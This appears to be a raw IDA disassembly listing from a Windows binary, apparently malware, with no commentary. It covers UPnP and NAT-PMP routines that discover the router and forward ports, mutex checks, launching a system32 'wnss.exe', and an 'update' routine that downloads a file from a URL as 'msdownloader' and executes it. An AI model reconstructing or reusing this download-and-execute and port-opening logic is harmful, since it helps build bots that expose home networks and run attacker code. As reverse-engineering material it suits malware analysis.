; ---------------------------------------------------------------------------
loc_445129: ; CODE XREF: sub_444E23+2EDj
mov [ebp+var_183E], 0
lea eax, [ebp+var_1809]
push eax
push offset aLocationS ; "location: <%s>\n"
call sub_449641
pop ecx
pop ecx
lea eax, [ebp+var_183E]
push eax
lea eax, [ebp+var_187E]
push eax
lea eax, [ebp+var_1809]
push eax
call sub_4448CA
add esp, 0Ch
mov [ebp+var_183C], eax
test eax, eax
jnz short loc_445183
push [ebp+var_404]
push offset aIupnpDiscove_3 ; "IUPnP discovery request #%i: bad (3)..."...
call sub_449641
pop ecx
pop ecx
jmp loc_44539D
; ---------------------------------------------------------------------------
loc_445183: ; CODE XREF: sub_444E23+347j
push offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANIPConne"...
push [ebp+var_183C]
call sub_444832
pop ecx
pop ecx
mov [ebp+var_188C], eax
test eax, eax
jnz short loc_4451B0
push [ebp+var_183C]
call sub_443397
pop ecx
jmp loc_44539D
; ---------------------------------------------------------------------------
loc_4451B0: ; CODE XREF: sub_444E23+37Aj
mov eax, [ebp+var_183C]
mov [ebp+var_1830], eax
loc_4451BC: ; CODE XREF: sub_444E23+3CBj
push offset aService_0 ; "<service>"
push [ebp+var_1830]
call sub_444832
pop ecx
pop ecx
mov [ebp+var_18A0], eax
test eax, eax
jz short loc_4451E0
cmp eax, [ebp+var_1830]
jbe short loc_4451E2
loc_4451E0: ; CODE XREF: sub_444E23+3B3j
jmp short loc_4451F0
; ---------------------------------------------------------------------------
loc_4451E2: ; CODE XREF: sub_444E23+3BBj
mov eax, [ebp+var_18A0]
mov [ebp+var_1830], eax
jmp short loc_4451BC
; ---------------------------------------------------------------------------
loc_4451F0: ; CODE XREF: sub_444E23:loc_4451E0j
push offset aService ; "</service>"
push [ebp+var_1830]
call sub_444832
pop ecx
pop ecx
mov [ebp+var_1888], eax
test eax, eax
jnz short loc_44521D
push [ebp+var_183C]
call sub_443397
pop ecx
jmp loc_44539D
; ---------------------------------------------------------------------------
loc_44521D: ; CODE XREF: sub_444E23+3E7j
push offset aControlurl ; "<controlURL>"
push [ebp+var_1830]
call sub_444832
pop ecx
pop ecx
mov esi, eax
test esi, esi
jz short loc_44523D
cmp esi, [ebp+var_1888]
jb short loc_44524E
loc_44523D: ; CODE XREF: sub_444E23+410j
push [ebp+var_183C]
call sub_443397
pop ecx
jmp loc_44539D
; ---------------------------------------------------------------------------
loc_44524E: ; CODE XREF: sub_444E23+418j
push 400h
push 0
lea eax, [ebp+var_400]
push eax
call sub_4499B1
add esp, 0Ch
jmp short loc_445267
; ---------------------------------------------------------------------------
loc_445266: ; CODE XREF: sub_444E23+44Cj
inc esi
loc_445267: ; CODE XREF: sub_444E23+441j
mov al, [esi]
test al, al
jz short loc_445271
cmp al, 3Eh
jnz short loc_445266
loc_445271: ; CODE XREF: sub_444E23+448j
cmp byte ptr [esi], 0
jz short loc_445277
inc esi
loc_445277: ; CODE XREF: sub_444E23+451j
cmp byte ptr [esi], 0
jnz short loc_44528D
push [ebp+var_183C]
call sub_443397
pop ecx
jmp loc_44539D
; ---------------------------------------------------------------------------
loc_44528D: ; CODE XREF: sub_444E23+457j
and [ebp+var_1838], 0
jmp short loc_4452AC
; ---------------------------------------------------------------------------
loc_445296: ; CODE XREF: sub_444E23+491j
mov eax, [ebp+var_1838]
mov dl, [esi]
mov [ebp+eax+var_400], dl
inc [ebp+var_1838]
inc esi
loc_4452AC: ; CODE XREF: sub_444E23+471j
mov al, [esi]
test al, al
jz short loc_4452B6
cmp al, 3Ch
jnz short loc_445296
loc_4452B6: ; CODE XREF: sub_444E23+48Dj
mov eax, [ebp+var_1838]
mov [ebp+eax+var_400], 0
push offset aHttp ; "http://"
lea eax, [ebp+var_400]
push eax
call sub_444832
pop ecx
pop ecx
mov edi, eax
test edi, edi
jnz short loc_4452E6
lea edi, [ebp+var_400]
jmp short loc_445316
; ---------------------------------------------------------------------------
loc_4452E5: ; CODE XREF: sub_444E23+4CBj
inc edi
loc_4452E6: ; CODE XREF: sub_444E23+4B8j
mov al, [edi]
test al, al
jz short loc_4452F0
cmp al, 3Ah
jnz short loc_4452E5
loc_4452F0: ; CODE XREF: sub_444E23+4C7j
cmp byte ptr [edi], 0
jz short loc_4452F9
inc edi
jmp short loc_4452F9
; ---------------------------------------------------------------------------
loc_4452F8: ; CODE XREF: sub_444E23+4DEj
inc edi
loc_4452F9: ; CODE XREF: sub_444E23+4D0j
; sub_444E23+4D3j
mov al, [edi]
test al, al
jz short loc_445303
cmp al, 2Fh
jz short loc_4452F8
loc_445303: ; CODE XREF: sub_444E23+4DAj
cmp byte ptr [edi], 0
jz short loc_44530C
inc edi
jmp short loc_44530C
; ---------------------------------------------------------------------------
loc_44530B: ; CODE XREF: sub_444E23+4F1j
inc edi
loc_44530C: ; CODE XREF: sub_444E23+4E3j
; sub_444E23+4E6j
mov al, [edi]
test al, al
jz short loc_445316
cmp al, 2Fh
jnz short loc_44530B
loc_445316: ; CODE XREF: sub_444E23+4C0j
; sub_444E23+4EDj
movzx eax, [ebp+arg_4]
push eax
movzx eax, [ebp+arg_0]
push eax
push edi
movzx eax, [ebp+var_183E]
push eax
lea eax, [ebp+var_187E]
push eax
push 0
call sub_444BB7
add esp, 18h
test eax, eax
jnz short loc_44537A
movzx eax, [ebp+arg_4]
push eax
movzx eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_400]
push eax
movzx eax, [ebp+var_183E]
push eax
lea eax, [ebp+var_187E]
push eax
push 1
call sub_444BB7
add esp, 18h
test eax, eax
jnz short loc_44537A
push [ebp+var_183C]
call sub_443397
pop ecx
jmp short loc_44539D
; ---------------------------------------------------------------------------
loc_44537A: ; CODE XREF: sub_444E23+519j
; sub_444E23+547j
push [ebp+var_404]
push offset aIupnpDiscove_4 ; "IUPnP discovery request #%i: ok.\n"
call sub_449641
pop ecx
pop ecx
mov eax, [ebp+var_408]
push eax
call sub_4490A7
xor eax, eax
inc eax
jmp short loc_4453BE
; ---------------------------------------------------------------------------
loc_44539D: ; CODE XREF: sub_444E23+1F7j
; sub_444E23+259j ...
inc [ebp+var_404]
loc_4453A3: ; CODE XREF: sub_444E23+EDj
; sub_444E23+FEj
cmp [ebp+var_404], 3
jl loc_444F26
mov eax, [ebp+var_408]
push eax
call sub_4490A7
xor eax, eax
loc_4453BE: ; CODE XREF: sub_444E23+159j
; sub_444E23+1A1j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_444E23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4453C5 proc near ; CODE XREF: sub_445434+16p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
and [ebp+var_4], 0
xor esi, esi
push 3Ch
call sub_443369
pop ecx
mov ebx, eax
test eax, eax
jz short loc_44542E
push 0
lea eax, [ebp+var_4]
push eax
push ebx
call sub_449119
cmp eax, 7Ah
jnz short loc_445409
push ebx
call sub_443397
pop ecx
mov eax, [ebp+var_4]
push eax
call sub_443369
pop ecx
mov ebx, eax
test eax, eax
jz short loc_44542E
loc_445409: ; CODE XREF: sub_4453C5+2Bj
push 0
lea eax, [ebp+var_4]
push eax
push ebx
call sub_449119
test eax, eax
jnz short loc_445425
mov eax, [ebx]
mov [ebp+var_8], eax
test eax, eax
jz short loc_445425
mov esi, [ebx+10h]
loc_445425: ; CODE XREF: sub_4453C5+52j
; sub_4453C5+5Bj
push ebx
call sub_443397
pop ecx
mov eax, esi
loc_44542E: ; CODE XREF: sub_4453C5+1Aj
; sub_4453C5+42j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4453C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445434 proc near ; CODE XREF: DMN1:004458A2p
; DMN1:00446DE6p
var_C0 = dword ptr -0C0h
var_BC = byte ptr -0BCh
var_B8 = dword ptr -0B8h
var_AC = word ptr -0ACh
var_AA = word ptr -0AAh
var_A8 = dword ptr -0A8h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = word ptr -94h
var_92 = word ptr -92h
var_90 = dword ptr -90h
var_84 = dword ptr -84h
var_80 = byte ptr -80h
var_7F = byte ptr -7Fh
var_78 = byte ptr -78h
push ebp
mov ebp, esp
sub esp, 0C0h
push ebx
push esi
push edi
mov [ebp+var_9C], 0FAh
call sub_4453C5
mov [ebp+var_84], eax
test eax, eax
jz loc_44563C
mov [ebp+var_94], 2
mov eax, [ebp+var_84]
mov [ebp+var_90], eax
push 14E7h
call sub_4490B9
mov [ebp+var_92], ax
mov eax, [ebp+var_84]
mov [ebp+var_98], eax
push eax
call sub_449101
push eax
push offset aDefaultGateway ; "default gateway: [%s]\n"
call sub_449641
pop ecx
pop ecx
xor ebx, ebx
inc ebx
push 11h
push 2
push 2
call sub_44909B
mov esi, eax
push 10h
push 0
lea eax, [ebp+var_AC]
push eax
call sub_4499B1
add esp, 0Ch
mov [ebp+var_AC], 2
mov eax, [ebp+var_84]
mov [ebp+var_A8], eax
push 14E7h
call sub_4490B9
mov [ebp+var_AA], ax
lea edi, [ebp+var_AC]
push 10h
push edi
push esi
call sub_4490C5
jmp loc_44562B
; ---------------------------------------------------------------------------
loc_4454FF: ; CODE XREF: sub_445434+1FAj
mov [ebp+var_C0], 10h
push ebx
push offset aSendingNatPmpR ; "sending NAT-PMP request #%i...\n"
call sub_449641
pop ecx
pop ecx
mov [ebp+var_80], 0
mov [ebp+var_7F], 0
push 10h
lea eax, [ebp+var_94]
push eax
push 0
push 2
lea eax, [ebp+var_80]
push eax
push esi
call sub_449107
test eax, eax
jge short loc_445546
push esi
call sub_4490A7
xor eax, eax
jmp loc_44563C
; ---------------------------------------------------------------------------
loc_445546: ; CODE XREF: sub_445434+103j
push ebx
push offset aSetsockoptNatP ; "setsockopt NAT-PMP request #%i...\n"
call sub_449641
pop ecx
pop ecx
push 4
lea eax, [ebp+var_9C]
push eax
push 1006h
push 0FFFFh
push esi
call sub_4490A1
test eax, eax
jge short loc_44557D
push esi
call sub_4490A7
xor eax, eax
jmp loc_44563C
; ---------------------------------------------------------------------------
loc_44557D: ; CODE XREF: sub_445434+13Aj
push ebx
push offset aReceivingNatPm ; "receiving NAT-PMP request #%i...\n"
call sub_449641
pop ecx
pop ecx
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_BC]
push eax
push 0
push 0Ch
lea eax, [ebp+var_80]
push eax
push esi
call sub_44910D
test eax, eax
jge short loc_4455C5
call sub_449113
cmp eax, 274Ch
jnz short loc_4455BB
cmp ebx, 9
jnz short loc_445624
loc_4455BB: ; CODE XREF: sub_445434+180j
push esi
call sub_4490A7
xor eax, eax
jmp short loc_44563C
; ---------------------------------------------------------------------------
loc_4455C5: ; CODE XREF: sub_445434+174j
push ebx
push offset aNatPmpRequestI ; "NAT-PMP request #%i - ok\n"
call sub_449641
pop ecx
pop ecx
mov eax, [ebp+var_90]
cmp [ebp+var_B8], eax
jnz short loc_445624
push 4
lea eax, [ebp+var_78]
push eax
lea eax, [ebp+var_84]
push eax
call sub_449A11
add esp, 0Ch
mov eax, [ebp+var_84]
mov [ebp+var_98], eax
push eax
call sub_449101
push eax
push ebx
push offset aNatPmpReques_0 ; "NAT-PMP request #%i - public IP: [%s]\n"
call sub_449641
add esp, 0Ch
push esi
call sub_4490A7
mov eax, [ebp+var_84]
jmp short loc_44563C
; ---------------------------------------------------------------------------
loc_445624: ; CODE XREF: sub_445434+185j
; sub_445434+1AAj
inc ebx
shl [ebp+var_9C], 1
loc_44562B: ; CODE XREF: sub_445434+C6j
cmp ebx, 0Ah
jl loc_4454FF
push esi
call sub_4490A7
xor eax, eax
loc_44563C: ; CODE XREF: sub_445434+23j
; sub_445434+10Dj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_445434 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445643 proc near ; CODE XREF: DMN1:004458BEp
; DMN1:00446E01p
var_C0 = dword ptr -0C0h
var_BC = byte ptr -0BCh
var_B8 = dword ptr -0B8h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = word ptr -0A4h
var_A2 = word ptr -0A2h
var_A0 = dword ptr -0A0h
var_94 = dword ptr -94h
var_90 = word ptr -90h
var_8E = word ptr -8Eh
var_8C = dword ptr -8Ch
var_80 = byte ptr -80h
var_7F = byte ptr -7Fh
var_7E = byte ptr -7Eh
var_7D = byte ptr -7Dh
var_7C = byte ptr -7Ch
var_7A = byte ptr -7Ah
var_78 = byte ptr -78h
var_76 = byte ptr -76h
var_75 = byte ptr -75h
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = word ptr 10h
push ebp
mov ebp, esp
sub esp, 0C0h
push ebx
push esi
push edi
mov [ebp+var_94], 0FAh
mov [ebp+var_90], 2
mov eax, [ebp+arg_0]
mov [ebp+var_8C], eax
push 14E7h
call sub_4490B9
mov [ebp+var_8E], ax
mov eax, [ebp+arg_0]
mov [ebp+var_A8], eax
push eax
call sub_449101
push eax
push offset aRouterIpS ; "router ip: [%s]\n"
call sub_449641
pop ecx
pop ecx
xor esi, esi
inc esi
push 11h
push 2
push 2
call sub_44909B
mov edi, eax
push 10h
push 0
lea eax, [ebp+var_A4]
push eax
call sub_4499B1
add esp, 0Ch
mov [ebp+var_A4], 2
mov eax, [ebp+arg_0]
mov [ebp+var_A0], eax
push 14E7h
call sub_4490B9
mov [ebp+var_A2], ax
lea eax, [ebp+var_A4]
mov [ebp+var_AC], eax
push 10h
push [ebp+var_AC]
push edi
call sub_4490C5
jmp loc_445873
; ---------------------------------------------------------------------------
loc_4456FD: ; CODE XREF: sub_445643+233j
mov [ebp+var_C0], 10h
push esi
push offset aSendingNatPmpF ; "sending NAT-PMP fwd request #%i...\n"
call sub_449641
pop ecx
pop ecx
mov [ebp+var_80], 0
mov [ebp+var_7F], 2
mov [ebp+var_7E], 0
mov [ebp+var_7D], 0
lea ebx, [ebp+var_7C]
movzx eax, [ebp+arg_4]
push eax
call sub_4490B9
mov [ebx], ax
lea ebx, [ebp+var_7A]
movzx eax, [ebp+arg_8]
push eax
call sub_4490B9
mov [ebx], ax
lea ebx, [ebp+var_78]
mov word ptr [ebx], 0E10h
mov [ebp+var_76], 0
mov [ebp+var_75], 0
push 10h
lea eax, [ebp+var_90]
push eax
push 0
push 0Ch
lea eax, [ebp+var_80]
push eax
push edi
call sub_449107
test eax, eax
jge short loc_44577C
push edi
call sub_4490A7
xor eax, eax
jmp loc_445884
; ---------------------------------------------------------------------------
loc_44577C: ; CODE XREF: sub_445643+12Aj
push esi
push offset aSetsockoptNa_0 ; "setsockopt NAT-PMP fwd request #%i...\n"
call sub_449641
pop ecx
pop ecx
push 4
lea eax, [ebp+var_94]
push eax
push 1006h
push 0FFFFh
push edi
call sub_4490A1
test eax, eax
jge short loc_4457B3
push edi
call sub_4490A7
xor eax, eax
jmp loc_445884
; ---------------------------------------------------------------------------
loc_4457B3: ; CODE XREF: sub_445643+161j
push esi
push offset aReceivingNat_0 ; "receiving NAT-PMP fwd request #%i...\n"
call sub_449641
pop ecx
pop ecx
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_BC]
push eax
push 0
push 10h
lea eax, [ebp+var_80]
push eax
push edi
call sub_44910D
test eax, eax
jge short loc_4457FE
call sub_449113
cmp eax, 274Ch
jnz short loc_4457F1
cmp esi, 9
jnz short loc_44586C
loc_4457F1: ; CODE XREF: sub_445643+1A7j
push edi
call sub_4490A7
xor eax, eax
jmp loc_445884
; ---------------------------------------------------------------------------
loc_4457FE: ; CODE XREF: sub_445643+19Bj
push esi
push offset aNatPmpFwdReque ; "NAT-PMP fwd request #%i - ok\n"
call sub_449641
pop ecx
pop ecx
mov eax, [ebp+var_8C]
cmp [ebp+var_B8], eax
jnz short loc_44586C
cmp [ebp+var_7F], 82h
jnz short loc_44586C
lea ebx, [ebp+var_7E]
cmp word ptr [ebx], 0
jnz short loc_44586C
lea ebx, [ebp+var_78]
movzx eax, [ebp+arg_4]
push eax
call sub_4490B9
cmp [ebx], ax
jnz short loc_44586C
lea ebx, [ebp+var_76]
movzx eax, word ptr [ebx]
push eax
call sub_4490D7
movzx eax, ax
push eax
push esi
push offset aNatPmpReques_1 ; "NAT-PMP request #%i - port: [%i]\n"
call sub_449641
add esp, 0Ch
push edi
call sub_4490A7
movzx eax, word ptr [ebx]
push eax
call sub_4490B9
movzx eax, ax
jmp short loc_445884
; ---------------------------------------------------------------------------
loc_44586C: ; CODE XREF: sub_445643+1ACj
; sub_445643+1D4j ...
inc esi
shl [ebp+var_94], 1
loc_445873: ; CODE XREF: sub_445643+B5j
cmp esi, 0Ah
jl loc_4456FD
push edi
call sub_4490A7
xor eax, eax
loc_445884: ; CODE XREF: sub_445643+134j
; sub_445643+16Bj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_445643 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
loc_44588E: ; CODE XREF: DMN1:loc_44591Cj
xor ebx, ebx
inc ebx
loc_445891: ; CODE XREF: DMN1:004458A0j
push 0EA60h
call dword_411D00
inc ebx
cmp ebx, 3Fh
jl short loc_445891
call sub_445434
mov edi, eax
mov eax, dword_411010
mov si, ax
movzx eax, si
push eax
movzx eax, word ptr dword_41100C
push eax
push edi
call sub_445643
add esp, 0Ch
mov si, ax
test si, si
jz short loc_4458EE
movzx eax, si
cmp eax, dword_411010
jz short loc_4458EE
movzx eax, si
mov dword_411010, eax
push 1
push offset dword_411024
call dword_411D04
loc_4458EE: ; CODE XREF: DMN1:004458CCj
; DMN1:004458D7j
movzx eax, word ptr dword_41100C
push eax
push eax
call sub_444E23
pop ecx
pop ecx
test eax, eax
jz short loc_44591C
mov eax, dword_41100C
cmp dword_411010, eax
jz short loc_44591C
push 1
push offset dword_411024
call dword_411D04
loc_44591C: ; CODE XREF: DMN1:00445900j
; DMN1:0044590Dj
jmp loc_44588E
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
sub_445925 proc near ; CODE XREF: sub_448AD1+77p
push ebx
cmp dword_411018, 0
jz short loc_445933
xor eax, eax
jmp short loc_445977
; ---------------------------------------------------------------------------
loc_445933: ; CODE XREF: sub_445925+8j
xor ebx, ebx
push offset a_win32__wnss_s ; "_win32__wnss_sdm__"
push 0
push 0
call dword_411D08
mov dword_411018, eax
cmp dword_411018, 0
jz short loc_445975
call dword_411CE8
cmp eax, 0B7h
jnz short loc_445975
xor ebx, ebx
inc ebx
push dword_411018
call dword_411CF8
and dword_411018, 0
loc_445975: ; CODE XREF: sub_445925+2Bj
; sub_445925+38j
mov eax, ebx
loc_445977: ; CODE XREF: sub_445925+Cj
pop ebx
retn
sub_445925 endp
; =============== S U B R O U T I N E =======================================
sub_445979 proc near ; CODE XREF: DMN1:loc_44630Bp
; DMN1:004463B0p ...
push ebx
push esi
xor esi, esi
push offset a_win32__wnss_s ; "_win32__wnss_sdm__"
push 0
push 100000h
call dword_411D0C
mov ebx, eax
test ebx, ebx
jz short loc_4459A1
xor esi, esi
inc esi
push ebx
call dword_411CF8
xor ebx, ebx
loc_4459A1: ; CODE XREF: sub_445979+1Aj
mov eax, esi
pop esi
pop ebx
retn
sub_445979 endp
; =============== S U B R O U T I N E =======================================
sub_4459A6 proc near ; CODE XREF: sub_448AD1+C5p
cmp dword_411018, 0
jz short locret_4459C2
push dword_411018
call dword_411CF8
and dword_411018, 0
locret_4459C2: ; CODE XREF: sub_4459A6+7j
retn
sub_4459A6 endp
; ---------------------------------------------------------------------------
push ebx
cmp dword_41101C, 0
jz short loc_4459D1
xor eax, eax
jmp short loc_445A15
; ---------------------------------------------------------------------------
loc_4459D1: ; CODE XREF: DMN1:004459CBj
xor ebx, ebx
push offset a_win32__wnss_0 ; "_win32__wnss_sm__"
push 0
push 0
call dword_411D08
mov dword_41101C, eax
cmp dword_41101C, 0
jz short loc_445A13
call dword_411CE8
cmp eax, 0B7h
jnz short loc_445A13
xor ebx, ebx
inc ebx
push dword_41101C
call dword_411CF8
and dword_41101C, 0
loc_445A13: ; CODE XREF: DMN1:004459EEj
; DMN1:004459FBj
mov eax, ebx
loc_445A15: ; CODE XREF: DMN1:004459CFj
pop ebx
retn
; =============== S U B R O U T I N E =======================================
sub_445A17 proc near ; CODE XREF: DMN1:0044886Ep
; DMN1:loc_4489F8p
push ebx
push esi
xor esi, esi
push offset a_win32__wnss_0 ; "_win32__wnss_sm__"
push 0
push 100000h
call dword_411D0C
mov ebx, eax
test ebx, ebx
jz short loc_445A3F
xor esi, esi
inc esi
push ebx
call dword_411CF8
xor ebx, ebx
loc_445A3F: ; CODE XREF: sub_445A17+1Aj
mov eax, esi
pop esi
pop ebx
retn
sub_445A17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445A44 proc near ; CODE XREF: DMN1:00445E29p
; sub_448AD1+FBp ...
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_844 = byte ptr -844h
var_44 = dword ptr -44h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_C]
test esi, esi
jz short loc_445A5C
and dword ptr [esi], 0
loc_445A5C: ; CODE XREF: sub_445A44+13j
push 44h
push 0
lea eax, [ebp+var_44]
push eax
call sub_4499B1
add esp, 0Ch
mov [ebp+var_44], 44h
test ebx, ebx
jz short loc_445A8C
push offset asc_40EDE8 ; "\""
lea eax, [ebp+var_844]
push eax
call sub_449A51
pop ecx
pop ecx
jmp short loc_445A93
; ---------------------------------------------------------------------------
loc_445A8C: ; CODE XREF: sub_445A44+31j
mov [ebp+var_844], 0
loc_445A93: ; CODE XREF: sub_445A44+46j
cmp [ebp+arg_0], 0
jz short loc_445AAC
push [ebp+arg_0]
lea eax, [ebp+var_844]
push eax
call sub_449A71
pop ecx
pop ecx
jmp short loc_445ABF
; ---------------------------------------------------------------------------
loc_445AAC: ; CODE XREF: sub_445A44+53j
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
lea eax, [ebp+var_844]
push eax
call sub_449A71
pop ecx
pop ecx
loc_445ABF: ; CODE XREF: sub_445A44+66j
test ebx, ebx
jz short loc_445AD6
push offset asc_40EDE8 ; "\""
lea eax, [ebp+var_844]
push eax
call sub_449A71
pop ecx
pop ecx
loc_445AD6: ; CODE XREF: sub_445A44+7Dj
cmp [ebp+arg_4], 0
jz short loc_445B00
push offset asc_40EDC9 ; " "
lea eax, [ebp+var_844]
push eax
call sub_449A71
pop ecx
pop ecx
push [ebp+arg_4]
lea eax, [ebp+var_844]
push eax
call sub_449A71
pop ecx
pop ecx
loc_445B00: ; CODE XREF: sub_445A44+96j
lea eax, [ebp+var_854]
push eax
lea eax, [ebp+var_44]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp+var_844]
push eax
push 0
call dword_411D10
test eax, eax
jz short loc_445B53
push [ebp+var_850]
call dword_411CF8
test esi, esi
jz short loc_445B44
mov eax, [ebp+var_854]
mov [esi], eax
jmp short loc_445B50
; ---------------------------------------------------------------------------
loc_445B44: ; CODE XREF: sub_445A44+F4j
push [ebp+var_854]
call dword_411CF8
loc_445B50: ; CODE XREF: sub_445A44+FEj
xor eax, eax
inc eax
loc_445B53: ; CODE XREF: sub_445A44+E4j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_445A44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445B59 proc near ; CODE XREF: DMN1:00445D20p
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 408h
push ebx
push esi
push edi
push 0
push 0
push 0
push 1
push offset aMsdownloader ; "msdownloader"
call dword_411EF0
mov edi, eax
push edi
push offset aInternetopenI ; "InternetOpen(): %i\n"
call nullsub_4
pop ecx
pop ecx
test edi, edi
jnz short loc_445B92
xor eax, eax
jmp loc_445CB4
; ---------------------------------------------------------------------------
loc_445B92: ; CODE XREF: sub_445B59+30j
push 0
push 80080300h
push 0
push 0
push [ebp+arg_0]
push edi
call dword_411EF4
mov ebx, eax
push edi
push offset aInternetopenur ; "InternetOpenUrl(): %i\n"
call nullsub_4
pop ecx
pop ecx
test ebx, ebx
jnz short loc_445BC8
push edi
call dword_411EF8
xor eax, eax
jmp loc_445CB4
; ---------------------------------------------------------------------------
loc_445BC8: ; CODE XREF: sub_445B59+5Fj
push offset aWb_0 ; "wb"
push [ebp+arg_4]
call sub_4496E1
pop ecx
pop ecx
mov esi, eax
test esi, esi
jnz short loc_445C01
push [ebp+arg_4]
push offset aFopenS___ ; "fopen(%s)...\n"
call nullsub_4
pop ecx
pop ecx
push ebx
call dword_411EF8
push edi
call dword_411EF8
xor eax, eax
jmp loc_445CB4
; ---------------------------------------------------------------------------
loc_445C01: ; CODE XREF: sub_445B59+82j
push [ebp+arg_4]
push [ebp+arg_0]
push offset aDownloadingSS ; "downloading [%s] --> %s\r\n"
call nullsub_4
add esp, 0Ch
push 0
call dword_411D14
jmp short loc_445C39
; ---------------------------------------------------------------------------
loc_445C1E: ; CODE XREF: sub_445B59+F9j
cmp [ebp+var_4], 0
jz short loc_445C54
push esi
push 1
push [ebp+var_4]
lea eax, [ebp+var_404]
push eax
call sub_449B41
add esp, 10h
loc_445C39: ; CODE XREF: sub_445B59+C3j
lea eax, [ebp+var_4]
push eax
push 3FFh
lea eax, [ebp+var_404]
push eax
push ebx
call dword_411EFC
test eax, eax
jnz short loc_445C1E
loc_445C54: ; CODE XREF: sub_445B59+C9j
call dword_411CE8
mov [ebp+var_408], eax
push esi
call sub_449941
pop ecx
push ebx
call dword_411EF8
push edi
call dword_411EF8
cmp [ebp+var_408], 0
jz short loc_445C9E
push [ebp+arg_4]
push [ebp+arg_0]
push offset aDownloadedFail ; "downloaded failed: [%s] --> %s\r\n"
call nullsub_4
add esp, 0Ch
push [ebp+arg_4]
call dword_411D18
xor eax, eax
jmp short loc_445CB4
; ---------------------------------------------------------------------------
loc_445C9E: ; CODE XREF: sub_445B59+123j
push [ebp+arg_4]
push [ebp+arg_0]
push offset aDownloadedSS ; "downloaded [%s] --> %s\r\n"
call nullsub_4
add esp, 0Ch
xor eax, eax
inc eax
loc_445CB4: ; CODE XREF: sub_445B59+34j
; sub_445B59+6Aj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_445B59 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 3400h
call sub_449B11
push ebx
push esi
push edi
mov ebx, [ebp+8]
mov byte ptr [ebp-2400h], 0
mov byte ptr [ebp-1000h], 0
mov esi, ebx
push esi
push offset aUpdateUrlS ; "UPDATE URL: <%s>\n"
call nullsub_4
pop ecx
pop ecx
lea eax, [ebp-3400h]
push eax
push 0FFFh
call dword_411D1C
lea eax, [ebp-2400h]
push eax
push 0
push offset aMsss ; "msss"
lea eax, [ebp-3400h]
push eax
call dword_411D20
lea eax, [ebp-2400h]
push eax
push esi
call sub_445B59
pop ecx
pop ecx
test eax, eax
jz loc_445E42
lea eax, [ebp-2400h]
push eax
push offset aDownloadedToS ; "downloaded to: <%s>\n"
call nullsub_4
pop ecx
pop ecx
lea eax, [ebp-3400h]
push eax
push 0FFFh
call dword_411D1C
lea eax, [ebp-1000h]
push eax
push 0
push offset aMsssx ; "msssx"
lea eax, [ebp-3400h]
push eax
call dword_411D20
mov edi, dword_4128A4
push 0
lea eax, [ebp-1000h]
push eax
push edi
call dword_411D24
test eax, eax
jz loc_445E42
push 80h
lea eax, [ebp-1000h]
push eax
call dword_411D28
push offset aUpdate ; "*update \""
lea eax, [ebp-1400h]
push eax
call sub_449A51
pop ecx
pop ecx
lea eax, [ebp-2400h]
push eax
lea eax, [ebp-1400h]
push eax
call sub_449A71
pop ecx
pop ecx
push offset asc_40ECEC ; "\" \""
lea eax, [ebp-1400h]
push eax
call sub_449A71
pop ecx
pop ecx
push edi
lea eax, [ebp-1400h]
push eax
call sub_449A71
pop ecx
pop ecx
push offset asc_40EDE8 ; "\""
lea eax, [ebp-1400h]
push eax
call sub_449A71
pop ecx
pop ecx
lea eax, [ebp-1400h]
push eax
lea eax, [ebp-1000h]
push eax
push offset aRunningSS___ ; "running %s (%s)...\r\n"
call nullsub_4
add esp, 0Ch
push 0
push 1
lea eax, [ebp-1400h]
push eax
lea eax, [ebp-1000h]
push eax
call sub_445A44
add esp, 10h
test eax, eax
jz short loc_445E42
loc_445E35: ; CODE XREF: DMN1:00445E40j
push 1770h
call dword_411D00
jmp short loc_445E35
; ---------------------------------------------------------------------------
loc_445E42: ; CODE XREF: DMN1:00445D29j
; DMN1:00445D87j ...
push 0
push offset dword_411014
call dword_411D04
lea eax, [ebp-2400h]
push eax
call sub_449A31
pop ecx
test eax, eax
jz short loc_445E6D
lea eax, [ebp-2400h]
push eax
call dword_411D18
loc_445E6D: ; CODE XREF: DMN1:00445E5Ej
lea eax, [ebp-1000h]
push eax
call sub_449A31
pop ecx
test eax, eax
jz short loc_445E8B
lea eax, [ebp-1000h]
push eax
call dword_411D18
loc_445E8B: ; CODE XREF: DMN1:00445E7Cj
push ebx
call sub_443397
pop ecx
call sub_449D81
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_445E9F proc near ; CODE XREF: DMN1:loc_446135p
